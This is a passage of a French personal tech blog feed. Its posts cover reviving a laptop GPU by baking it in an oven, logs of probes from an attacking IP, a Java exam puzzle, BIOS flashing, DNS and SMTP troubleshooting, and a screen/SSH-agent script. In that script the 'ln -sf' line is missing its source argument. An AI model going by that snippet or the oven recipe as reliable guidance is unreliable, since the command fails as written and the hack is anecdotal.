<p>Le mystère du pourquoi reste entier, on ne peut que supputer les raisons
de ce miracle. Le plus probable reste le déblocage d'un composant «
bloqué » style transistor ou un flip-flop électronique (je n'y connais
pas grand-chose). Si quelqu'un s'y connaissant pouvait me (nous)
éclairer... ?</p>
<p>Et pour finir la photo dans le four.</p>
<p><img alt="carte graphique au four" src="/images/cg-au-four.jpg" /></p>
Un gâteau à la carte graphique2011-03-10T14:51:00+01:002011-03-10T14:51:00+01:00johndescstag:jonathan.michalon.eu,2011-03-10:/un-gateau-a-la-carte-graphique.html<p>Pas mal de lecteurs de ce blog doivent le savoir : la carte graphique du
PC portable que j'emporte en cours m'a lâché le 26 février. C'est une
8600M GT de chez nVidia, laquelle a une réputation pire que déplorable
sur la Toile car elle semble tomber en panne fréquemment. Il …</p><p>Pas mal de lecteurs de ce blog doivent le savoir : la carte graphique du
PC portable que j'emporte en cours m'a lâché le 26 février. C'est une
8600M GT de chez nVidia, laquelle a une réputation pire que déplorable
sur la Toile car elle semble tomber en panne fréquemment. Il circule
même des histoires de vice caché, des procès enfin c'est pas jojo.</p>
<p>Depuis j'ai cherché à la changer, et je me suis décidé à en acheter une
sur eBay. Tout ça a pris un certain temps mais hier j'ai eu une nouvelle
carte, une ATI Radeon HD 2600. Roulement de tambours, évidemment ça ne
fonctionne pas. Le BIOS de la carte mère n'est probablement pas
compatible. Après maintes recherches sur le web, comment flasher le
VBIOS et tout un tas de forums, articles etc. je tombe sur le
<a class="reference external" href="http://forum.notebookreview.com/acer/475196-9920g-gpu-options-5.html">post</a>
de quelqu'un qui, au lieu de changer de carte, a ressuscité la 8600
défunte.</p>
<p>Incroyable : il suffirait de mettre la carte au four un certain temps et
hop, c'est reparti. Moi, incrédule, je commence à me dire qu'il se paye
la tête du lecteur, mais j'entame quand même une recherche et j'arrive
devant une <a class="reference external" href="http://www.youtube.com/watch?v=XYzKfec71g0">vidéo
youtube</a> qui montre
l'opération. En plus, pas mal de gens l'ont commentée, et ont approuvé
la méthode. Donc moi, en voyant ça je me dis que je n'ai plus rien à
perdre à tenter le coup.</p>
<p>J'ai donc procédé à la cuisson de ma carte graphique cette après-midi.</p>
<p>La recette est simple :</p>
<ul class="simple">
<li>Faites préchauffer votre four aux alentours de 190° ;</li>
<li>Enfournez votre carte graphique ;</li>
<li>Armez un déclencheur (par exemple le minuteur du four) sur 10 minutes
: c'est le temps de cuisson ;</li>
<li>Après les 10 minutes, attendez patiemment, sans tourner en rond comme
un fauve en cage que la carte refroidisse ;</li>
<li>Replacez la carte dans son logement MXM ;</li>
<li>C'est prêt, il ne reste plus qu'à remettre la batterie et appuyer sur
le bouton d'allumage de votre PC !</li>
</ul>
<p>Le pire c'est que ça fonctionne réellement ! J'AI DE NOUVEAU UNE CARTE
GRAPHIQUE !!! :P</p>
chalmion.homelinux.net attaqué !2011-02-19T17:36:00+01:002011-02-19T17:36:00+01:00johndescstag:jonathan.michalon.eu,2011-02-19:/chalmionhomelinuxnet-attaque.html<p>Eh oui, c'est la guerre, et ce tous les jours un peu plus.</p>
<p>Mais pas de bombe ni de mort d'homme. C'est par le réseau que je suis
attaqué. Bon des attaques SSH, balayage de ports etc. c'est fréquent,
tous les jours, normal, connu, on ne s'en fait pas et …</p><p>Eh oui, c'est la guerre, et ce tous les jours un peu plus.</p>
<p>Mais pas de bombe ni de mort d'homme. C'est par le réseau que je suis
attaqué. Bon des attaques SSH, balayage de ports etc. c'est fréquent,
tous les jours, normal, connu, on ne s'en fait pas et on vit avec.
Seulement, depuis quelques jours je me fais attaquer à répétition depuis
la même IP (et le même port). Ils attaquent certains ports mais aussi
les services qui répondent, comme par exemple le serveur web qui vous
permet de lire ces lignes.</p>
<p>Extrait des log du routeur (c'est tout frais d'aujourd'hui) :</p>
<div class="highlight"><pre><span></span>TCP Packet - Source:58.218.199.147,12200 Destination:82.126.151.65,2301 - [DOS]
TCP Packet - Source:58.218.199.147,12200 Destination:82.126.151.65,8118 - [DOS]
TCP Packet - Source:58.218.199.147,12200 Destination:82.126.151.65,8008 - [DOS]
TCP Packet - Source:58.218.199.147,12200 Destination:82.126.151.65,8088 - [DOS]
TCP Packet - Source:58.218.199.147 Destination:82.126.151.65 - [PORT SCAN]
TCP Packet - Source:58.218.199.147,12200 Destination:82.126.151.65,3128 - [DOS]
</pre></div>
<p>Mais apache aussi, et avec des requêtes bizarres, où ils essayent de
rebondir sur d'autres sites.</p>
<div class="highlight"><pre><span></span>58.218.199.147 - - [19/Feb/2011:00:56:16 +0100] "GET http ://www.infodownload.info/proxyheader.php HTTP/1.1" 404 541 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
58.218.199.147 - - [19/Feb/2011:05:42:47 +0100] "GET http ://58.218.199.147:7182/judge.php HTTP/1.1" 404 530 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
58.218.199.147 - - [19/Feb/2011:08:06:01 +0100] "GET http ://98.126.15.13/proxyheader.php HTTP/1.1" 404 532 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
58.218.204.110 - - [19/Feb/2011:18:12:22 +0100] "GET http ://58.218.199.147:7182/judge.php HTTP/1.1" 404 530 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
</pre></div>
<p>Bon c'est pas compliqué j'ai bloqué cette IP directement sur le routeur,
à la main… et avec l'interface web, après avoir consciencieusement et
lamentablement échoué avec iptables.</p>
<p>Apparemment le combo 58.218.199.147:12200 est connu, on en parle sur le
net, il y a des gens qui râlent sur les <a class="reference external" href="http://www.ipillion.com/ip/58.218.199.147">sites
dédiés</a> (déjà 165 rapports
depuis octobre 2010). J'ai demandé à une autre personne qui a un serveur
personnel chez lui et effectivement cette IP a aussi attaqué son serveur
web, avec le même genre de requêtes que chez moi.</p>
<p>Un whois sur cette IP renvoie en Chine, et ce à l'époque où on parle
tant de la cyber-attaque des chinois. J'en fais partie. Je suppose que
je dois être flatté ?</p>
Le meilleur cours2011-02-17T10:43:00+01:002011-02-17T10:43:00+01:00johndescstag:jonathan.michalon.eu,2011-02-17:/le-meilleur-cours.html<p>Je reviens tout juste du meilleur cours de la fac que j'ai jamais eu.</p>
<p>À la pause du cours de Programmation Distribuée, le prof nous dit «
maintenant on va parler des thread en java ». Toute la promo s'écrie
alors « encore !!! ». Effectivement, on a reçu hier en TD de Système
Distribué …</p><p>Je reviens tout juste du meilleur cours de la fac que j'ai jamais eu.</p>
<p>À la pause du cours de Programmation Distribuée, le prof nous dit «
maintenant on va parler des thread en java ». Toute la promo s'écrie
alors « encore !!! ». Effectivement, on a reçu hier en TD de Système
Distribué (un cours totalement dissocié de Programmation Distribuée) un
polycopié sur les threads java. Le prof nous demande alors si quelqu'un
l'a sur lui et peut lui montrer. Il prend les deux feuilles qu'un
étudiant lui tend, va voir son cours à lui et nous annonce que le cours
est terminé. En effet, son cours et le polycopié sont <strong>exactement</strong>
identiques, même schéma, même exemples de code. Il fallait le faire. En
plus c'était un cours où il y avait que 10h en tout ! Résultat, on a
fini le cours de cette matière le… 17 février, sachant qu'on a repris le
27 janvier.
Le plus marrant c'est que hier, en TD, on nous annonçait le sujet du
projet qu'on aurait à réaliser pour le contrôle continu. C'est aussi
<strong>exactement</strong> le même sujet que celui qu'on a déjà pour Pogrammation
Distribuée. Cherchez l'erreur !</p>
<p>Bref, on a deux cours qui se chevauchent un tant soit peu, apparemment.</p>
Ethernet powaaa2011-02-09T20:00:00+01:002011-02-09T20:00:00+01:00johndescstag:jonathan.michalon.eu,2011-02-09:/ethernet-powaaa.html<p>Done. Le câble ethernet est installé, tellement bien qu'on sait même
plus qu'il est là. Il dépasse juste un tout petit peu à en endroit mais
c'est à peine visible.</p>
<p>Par contre c'est le jour et la nuit pour ma connexion avec le serveur.
Maintenant mon clavier est directement relié …</p><p>Done. Le câble ethernet est installé, tellement bien qu'on sait même
plus qu'il est là. Il dépasse juste un tout petit peu à en endroit mais
c'est à peine visible.</p>
<p>Par contre c'est le jour et la nuit pour ma connexion avec le serveur.
Maintenant mon clavier est directement relié au serv' avec quelques
détours mais tout de même ! Plus de déco intempestives ni rien ! La
joie.</p>
<p>Bref, le gigabit a fait son apparition dans mon appart'. Seul bémol, le
routeur est en fast ethernet donc limité au 100 mégas. Cependant le
gigabit marche, j'ai testé avec simplement deux PC. Petite anecdote :
ces deux PC ont toujours refusé de se parler en gigabit, bien qu'il soit
activé. J'étais obligé de forcer le bridage en 100 mégas. Et là avec un
bout de câble en plus, hophop ça a marché direct ! 'Faut pas chercher à
comprendre parfois…</p>
<p>Resterait à avoir la fibre à la place de l'ADSL et le setup serait
parfait…</p>
Suspension de service v. 22011-02-08T18:02:00+01:002011-02-08T18:02:00+01:00johndescstag:jonathan.michalon.eu,2011-02-08:/suspension-de-service-v-2.html<p>Eh oui, ce cher serveur tellement utile, voire indispensable au monde
entier va de nouveau être mis aux arrêts.</p>
<p>Raison : je déploie un câble ethernet (RJ45) chez moi, et il faut que je
déplace et débranche le serveur et tout le meuble où il est placé pour
accéder, placer le …</p><p>Eh oui, ce cher serveur tellement utile, voire indispensable au monde
entier va de nouveau être mis aux arrêts.</p>
<p>Raison : je déploie un câble ethernet (RJ45) chez moi, et il faut que je
déplace et débranche le serveur et tout le meuble où il est placé pour
accéder, placer le câble, la prise etc. (oui, je fais ça bien en dur !).</p>
<p>Donc demain après-midi (mercredi 9 février), le serveur ne répondra plus
!</p>
Suspension de service2011-01-07T08:34:00+01:002011-01-07T08:34:00+01:00johndescstag:jonathan.michalon.eu,2011-01-07:/suspension-de-service.html<p>Bonjour le blog !</p>
<p>C'est (enfin !) les vacances. Je vais partir une semaine, et j'aurai
pas (ou peu) internet. Comme ce serveur n'a pas grand-chose encore
d'important qui fonctionne, je vais l'éteindre… à part éventuellement le
fofo je pense que personne remarquera l'absence.
Suspension de service donc du 8 janvier au …</p><p>Bonjour le blog !</p>
<p>C'est (enfin !) les vacances. Je vais partir une semaine, et j'aurai
pas (ou peu) internet. Comme ce serveur n'a pas grand-chose encore
d'important qui fonctionne, je vais l'éteindre… à part éventuellement le
fofo je pense que personne remarquera l'absence.
Suspension de service donc du 8 janvier au 16 janvier 2010 !</p>
<p>Bonnes vacances aux personnes concernées !</p>
n'importe quoi2010-12-17T17:20:00+01:002010-12-17T17:20:00+01:00johndescstag:jonathan.michalon.eu,2010-12-17:/nimporte-quoi.html<p>Tiens, deux billets le même jour ???</p>
<p>Rhalala, n'importe quoi ces profs ! Celui qui nous a concocté l'examen
de ce matin était tellement fainéant qu'il a repris mot pour mot le
sujet du semestre précédent, que nous avons tous vu dans les annales
(mais sans corrigé). Il a quand même rajouté …</p><p>Tiens, deux billets le même jour ???</p>
<p>Rhalala, n'importe quoi ces profs ! Celui qui nous a concocté l'examen
de ce matin était tellement fainéant qu'il a repris mot pour mot le
sujet du semestre précédent, que nous avons tous vu dans les annales
(mais sans corrigé). Il a quand même rajouté un petit exercice sur 4
points qui met tout de suite de bonne humeur : « Piège Java ». Je vous
le recopie pour votre plus grand plaisir j'espère, histoire que vous
vous rendiez compte, cher lecteur, combien on s'amuse à la fac !</p>
<p>Voici :</p>
<div class="highlight"><pre><span></span><span class="kd">class</span> <span class="nc">canard</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">pieds</span> <span class="o">=</span> <span class="mi">2</span><span class="o">;</span>
<span class="kt">int</span> <span class="nf">jambes</span> <span class="o">()</span> <span class="o">{</span> <span class="k">return</span> <span class="n">pieds</span><span class="o">;</span> <span class="o">}</span>
<span class="o">}</span>
<span class="kd">class</span> <span class="nc">unicanard</span> <span class="kd">extends</span> <span class="n">canard</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">pieds</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
<span class="kt">int</span> <span class="nf">jambes</span> <span class="o">()</span> <span class="o">{</span> <span class="k">return</span> <span class="n">pieds</span><span class="o">;</span> <span class="o">}</span>
<span class="kd">static</span> <span class="kd">public</span> <span class="kt">void</span> <span class="nf">main</span> <span class="o">(</span><span class="n">String</span> <span class="n">argv</span><span class="o">[])</span> <span class="o">{</span>
<span class="n">canard</span> <span class="n">c</span> <span class="o">=</span> <span class="k">new</span> <span class="n">canard</span> <span class="o">();</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span> <span class="o">(</span><span class="n">c</span><span class="o">.</span><span class="na">pieds</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span> <span class="o">(</span><span class="n">c</span><span class="o">.</span><span class="na">jambes</span><span class="o">());</span>
<span class="n">c</span> <span class="o">=</span> <span class="k">new</span> <span class="n">unicanard</span> <span class="o">();</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span> <span class="o">(</span><span class="n">c</span><span class="o">.</span><span class="na">pieds</span><span class="o">);</span>
<span class="n">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span> <span class="o">(</span><span class="n">c</span><span class="o">.</span><span class="na">jambes</span><span class="o">());</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></div>
<p>La question est : quel est l'affichage produit par l'exécution ?</p>
<p>J'attends vos commentaires, mais pas de triche, SVP :-'</p>
<p>N.B. Une affiche avec un canard (bijambiste) traine un peu partout dans
le bâtiment. Coïncidence ?</p>
flash, flash le BIOS !2010-12-17T15:44:00+01:002010-12-17T15:44:00+01:00johndescstag:jonathan.michalon.eu,2010-12-17:/flash-flash-le-bios.html<p>Grande nouveauté, hier j'ai flashé un BIOS pour la première fois et je
dois dire que j'ai été agréablement surpris par la facilité de la chose.</p>
<p>Mais commençons par le commencement…</p>
<p>Je devais monter un PC neuf en pièces détachées pour une connaissance.
J'avais donc devant moi un tas de …</p><p>Grande nouveauté, hier j'ai flashé un BIOS pour la première fois et je
dois dire que j'ai été agréablement surpris par la facilité de la chose.</p>
<p>Mais commençons par le commencement…</p>
<p>Je devais monter un PC neuf en pièces détachées pour une connaissance.
J'avais donc devant moi un tas de composants informatiques. Au bout d'un
temps certain, voilà le tout monté. L'instant de vérité approche.
J'appuie alors sur le bouton et entends le (doux ?) ronflement des
ventilateurs qui se lancent… puis s'éteignent, puis repartent… à
l'infini.
Le drâme, il y a un problème quelque part ! J'entreprends donc
naturellement de débrancher au fur et à mesure tous les composants
inutiles tel le disque dur, l'USB de façade, même les LED. Bien sûr,
rien n'y fait.
Au moment où il ne reste que l'ensemble {alim, carte mère, proco,
mémoire} je commence à être fort démoralisé. Heureusement, il restait un
dernier composant à supprimer : la deuxième barrette de mémoire !
C'était elle la fautive ! Ouf, Youpi !
N'empêche que j'aurais bien aimé utiliser les 4Go de ram des deux
barrettes de 2Go chacune, et qu'un problème stupide de la sorte me
perturbait psychologiquement.
Après maintes recherches, je découvre une jolie mise à jour du BIOS
disponible. Son changelog affirme quelque chose de la forme "improve
memory compatibility". Voilà qui est intéressant… mais risqué.
C'est là qu'intervient l'ingéniosité des développeurs MSI (pour une
fois que je dis du bien de quelque chose ou de quelqu'un) qui ont ajouté
une fonctionnalité permettant de démarrer l'ordinateur avec une sort de
Live-BIOS. En fait la carte mère cherche son BIOS directement sur une
clé USB ! Génial !
Du coup, j'ai pu tester la mise à jour sans flasher le BIOS, et donc,
avant de prendre le risque de ce genre d'opération j'ai pu m'assurer que
cela corrigeait bien mon problème actuel.
Après cela il ne restait plus qu'à utiliser ce même interface pour
flasher et rendre la mise à jour permanente.</p>
<p>Je dis merci aux développeurs MSI qui ont intégré la fonctionnalité de
sauvegarde / démarrage / flash de BIOS directement depuis une clé USB,
donc sans manœuvre foireuse sous DOS. Espérons qu'ils n'ont pas intégré
ce mécanisme parce qu'ils savent pertinemment que leur BIOS est mauvais
!</p>
Une perle dans le genre2010-11-30T09:16:00+01:002010-11-30T09:16:00+01:00johndescstag:jonathan.michalon.eu,2010-11-30:/une-perle-dans-le-genre.html<p>Voila voila, je n'ai pas bloggué depuis longtemps mais c'est qu'on
m'occupe à diverses choses plus ou moins intéressantes (et pretinentes).
Néanmoins j'ai sélectionné une perle du développement collaboratif pour
vous, chers lecteurs…</p>
<p>J'espère que l'auteur ne se reconnaitra pas sinon il va devenir tout
rouge ! :-' D'ailleurs j'ai masqué son …</p><p>Voila voila, je n'ai pas bloggué depuis longtemps mais c'est qu'on
m'occupe à diverses choses plus ou moins intéressantes (et pretinentes).
Néanmoins j'ai sélectionné une perle du développement collaboratif pour
vous, chers lecteurs…</p>
<p>J'espère que l'auteur ne se reconnaitra pas sinon il va devenir tout
rouge ! :-' D'ailleurs j'ai masqué son nom tellement bien que
même les champions de NewbieContest ne le retrouveront pas !</p>
<div class="highlight"><pre><span></span><span class="n">$</span> <span class="n">git</span> <span class="n">show</span> <span class="mf">5d</span><span class="n">f40e10f621122be8cb7ba83d1d564a1fc2aedd</span>
<span class="n">commit</span> <span class="mf">5d</span><span class="n">f40e10f621122be8cb7ba83d1d564a1fc2aedd</span>
<span class="nl">Author:</span> <span class="o">******</span> <span class="o"><******</span><span class="err">@</span><span class="o">******-</span><span class="n">laptop</span><span class="o">></span>
<span class="nl">Date:</span> <span class="n">Tue</span> <span class="n">Nov</span> <span class="mi">16</span> <span class="mi">12</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mo">06</span> <span class="mi">2010</span> <span class="o">+</span><span class="mo">0100</span>
<span class="n">je</span> <span class="n">sais</span> <span class="n">plus</span> <span class="n">quoi</span>
<span class="n">diff</span> <span class="o">--</span><span class="n">git</span> <span class="n">a</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">model</span><span class="o">/</span><span class="n">SwypeWord</span><span class="o">.</span><span class="na">java</span> <span class="n">b</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">model</span><span class="o">/</span><span class="n">SwypeWord</span><span class="o">.</span><span class="na">java</span>
<span class="n">index</span> <span class="mo">02</span><span class="mi">90</span><span class="n">ef1</span><span class="o">.</span><span class="mf">.753167</span><span class="n">c</span> <span class="mi">100644</span>
<span class="o">---</span> <span class="n">a</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">model</span><span class="o">/</span><span class="n">SwypeWord</span><span class="o">.</span><span class="na">java</span>
<span class="o">+++</span> <span class="n">b</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">model</span><span class="o">/</span><span class="n">SwypeWord</span><span class="o">.</span><span class="na">java</span>
<span class="err">@@</span> <span class="o">-</span><span class="mi">47</span><span class="o">,</span><span class="mi">7</span> <span class="o">+</span><span class="mi">47</span><span class="o">,</span><span class="mi">8</span> <span class="err">@@</span> <span class="kd">public</span> <span class="kd">class</span> <span class="nc">SwypeWord</span> <span class="o">{</span> <span class="k">return</span> <span class="n">result</span><span class="o">;</span> <span class="o">}</span>
<span class="o">-</span>
<span class="o">+</span>
<span class="o">+</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">decode</span><span class="o">()</span> <span class="o">{</span>
<span class="n">String</span> <span class="n">word</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">getRawString</span><span class="o">();</span>
</pre></div>
Le rapport entre envoi de mail bugué et serveur DNS ?2010-10-23T17:48:00+02:002010-10-23T17:48:00+02:00johndescstag:jonathan.michalon.eu,2010-10-23:/le-rapport-entre-envoi-de-mail-bugue-et-serveur-dns.html<p>Réponse : la
<a class="reference external" href="http://www.chucknorrisfacts.fr/index.php?p=detail_fact&fact=48476&PHPSESSID=f90a24a41057b5f52b8869bbe5775c9c">choucroute</a>,
bien sûr !</p>
<div class="section" id="contexte">
<h2>Contexte</h2>
<p>Dimanche (et après rebelote lundi), problèmes de réseau. Mais en fait
oui et non. Le réseau fonctionne à merveille (enfin pas plus mal), mais
la recherche google que je lance se traine et finalement n'aboutit pas.
Je creuse un peu et en fait je …</p></div><p>Réponse : la
<a class="reference external" href="http://www.chucknorrisfacts.fr/index.php?p=detail_fact&fact=48476&PHPSESSID=f90a24a41057b5f52b8869bbe5775c9c">choucroute</a>,
bien sûr !</p>
<div class="section" id="contexte">
<h2>Contexte</h2>
<p>Dimanche (et après rebelote lundi), problèmes de réseau. Mais en fait
oui et non. Le réseau fonctionne à merveille (enfin pas plus mal), mais
la recherche google que je lance se traine et finalement n'aboutit pas.
Je creuse un peu et en fait je ne peux pas me connecter à quoi que ce
soit de distant. Par contre, un dialogue déjà initialisée n'a pas de
problème.
Je conclue à un problème stupide. Et effectivement, en donnant l'IP,
pas de problème.</p>
<p>C'était le serveur DNS d'Orange qui ne répondait pas. J'en ai donc mis
un autre. Le lendemain je restaure celui par défaut en pensant que
c'était corrigé mais non ça recommence. Donc, fait important ici
<strong>j'utilise un autre serveur DNS</strong>.</p>
</div>
<div class="section" id="probleme-et-solution">
<h2>Problème et solution</h2>
<p>Hier, quelqu'un crée un compte sur le serv'jo et m'en avertit. J'en suis
tout étonné car aucun mail ne m'a prévenu alors que j'ai installé à
grand frais le module correspondant. En fait les logs d'Exim disent :</p>
<div class="highlight"><pre><span></span>Recipient address rejected: Missing Authentication
</pre></div>
<p>Aujourd'hui enfin je trouve le temps (et je me rappelle du problème)
donc je pars à la pêche aux informations. Au bout d'un moment je tombe
sur un cher confrère blogueur et sur son
<a class="reference external" href="http://blog.anthonix.fr/2009/11/22/tutoriel-exim4-bind9-orange.html">tutoriel</a>.
Merci à lui !</p>
<p>Tout le problème est en fait que <em>smtp.orange.fr</em> n'est pas mappé sur
les mêmes IPs avec le serveur DNS orange et les externes ! Étrange tout
de même et assez peu logique, il me semble. Mais c'est vrai qu'à la
réflexion c'est un moyen simple de filtrer bon nombre de personnes qui
voudraient utiliser ce SMTP depuis chez les concurents.</p>
<p>Illustration : (80.10.246.2 est l'IP du DNS Orange, 192.168.1.1 mon
modem qui renvoie chez OpenDNS)</p>
<div class="highlight"><pre><span></span>$ nslookup
> server <span class="m">80</span>.10.246.2
Default server: <span class="m">80</span>.10.246.2
Address: <span class="m">80</span>.10.246.2#53
> smtp.orange.fr
Server: <span class="m">80</span>.10.246.2
Address: <span class="m">80</span>.10.246.2#53
Non-authoritative answer:
Name: smtp.orange.fr
Address: <span class="m">193</span>.252.22.64
Name: smtp.orange.fr
Address: <span class="m">193</span>.252.22.91
Name: smtp.orange.fr
Address: <span class="m">193</span>.252.23.66
Name: smtp.orange.fr
Address: <span class="m">80</span>.12.242.10
Name: smtp.orange.fr
Address: <span class="m">80</span>.12.242.16
Name: smtp.orange.fr
Address: <span class="m">80</span>.12.242.52
Name: smtp.orange.fr
Address: <span class="m">80</span>.12.242.61
Name: smtp.orange.fr
Address: <span class="m">80</span>.12.242.86
Name: smtp.orange.fr
Address: <span class="m">80</span>.12.242.141
> server <span class="m">192</span>.168.1.1
Default server: <span class="m">192</span>.168.1.1
Address: <span class="m">192</span>.168.1.1#53
> smtp.orange.fr
Server: <span class="m">192</span>.168.1.1
Address: <span class="m">192</span>.168.1.1#53
Non-authoritative answer:
Name: smtp.orange.fr
Address: <span class="m">193</span>.252.22.86
Name: smtp.orange.fr
Address: <span class="m">193</span>.252.22.84
</pre></div>
</div>
Dépôt Debian2010-10-21T10:12:00+02:002010-10-21T10:12:00+02:00johndescstag:jonathan.michalon.eu,2010-10-21:/depot-debian.html<p>Le serveur a été doté d'un dépôt Debian, qui contiendra tous les paquets
que je vais m'amuser à créer, mettre à jour, améliorer, corriger. Bien
sûr, si d'aventure il y en avait un qui aurait été bien fait,
intéressant ou autre, je le proposerai chez Debian, <em>via</em>
debian.mentors.net …</p><p>Le serveur a été doté d'un dépôt Debian, qui contiendra tous les paquets
que je vais m'amuser à créer, mettre à jour, améliorer, corriger. Bien
sûr, si d'aventure il y en avait un qui aurait été bien fait,
intéressant ou autre, je le proposerai chez Debian, <em>via</em>
debian.mentors.net et la ML correspondante.</p>
<p>Pour y accéder :</p>
<ul class="simple">
<li><a class="reference external" href="http://chalmion.homelinux.net/apt">http://chalmion.homelinux.net/apt</a> dans un navigateur</li>
<li>deb <a class="reference external" href="http://chalmion.homelinux.net/apt">http://chalmion.homelinux.net/apt</a> testing main</li>
<li>deb <a class="reference external" href="http://chalmion.homelinux.net/apt">http://chalmion.homelinux.net/apt</a> unstable main</li>
</ul>
Screen et agent SSH2010-10-01T12:53:00+02:002010-10-01T12:53:00+02:00johndescstag:jonathan.michalon.eu,2010-10-01:/screen-et-agent-ssh.html<div class="section" id="probleme">
<h2>Problème</h2>
<p>Lorsqu'on utilise screen avec un agent SSH (par exemple, transféré vers
une machine cliente) et qu'on se déconnecte, l'agent (et surtout sa
socket) aura changé lors de la prochaine connexion. Il faut donc
repositionner à chaque fois la variable SSH_AUTH_SOCK si on veut
continuer à en profiter.</p>
</div>
<div class="section" id="solution">
<h2>Solution</h2>
<p>Lorsqu'on …</p></div><div class="section" id="probleme">
<h2>Problème</h2>
<p>Lorsqu'on utilise screen avec un agent SSH (par exemple, transféré vers
une machine cliente) et qu'on se déconnecte, l'agent (et surtout sa
socket) aura changé lors de la prochaine connexion. Il faut donc
repositionner à chaque fois la variable SSH_AUTH_SOCK si on veut
continuer à en profiter.</p>
</div>
<div class="section" id="solution">
<h2>Solution</h2>
<p>Lorsqu'on se reconnecte à la machine, et avant de se rattacher à notre
session screen, la variable est juste. Il suffit donc de lier le ficher
(socket) qu'elle contient à un fichier connu fixe qui sera utilisé dans
les shell de screen. Un petit script wrapper de rien du tout nous fait
cela très bien :</p>
<div class="highlight"><pre><span></span>ln -sf ~/ssh_auth_sock
<span class="nb">export</span> <span class="nv">SSH_AUTH_SOCK</span><span class="o">=</span>~/ssh_auth_sock
screen -R -D
</pre></div>
<p>On lie ~/ssh_auth_sock à la bonne socket puis remplace la variable par
notre fichier fixe. Bien sûr, adapter ces trois lignes à votre goût !
Ces paramètres screen et ce chemin me conviennent, rien de plus.</p>
</div>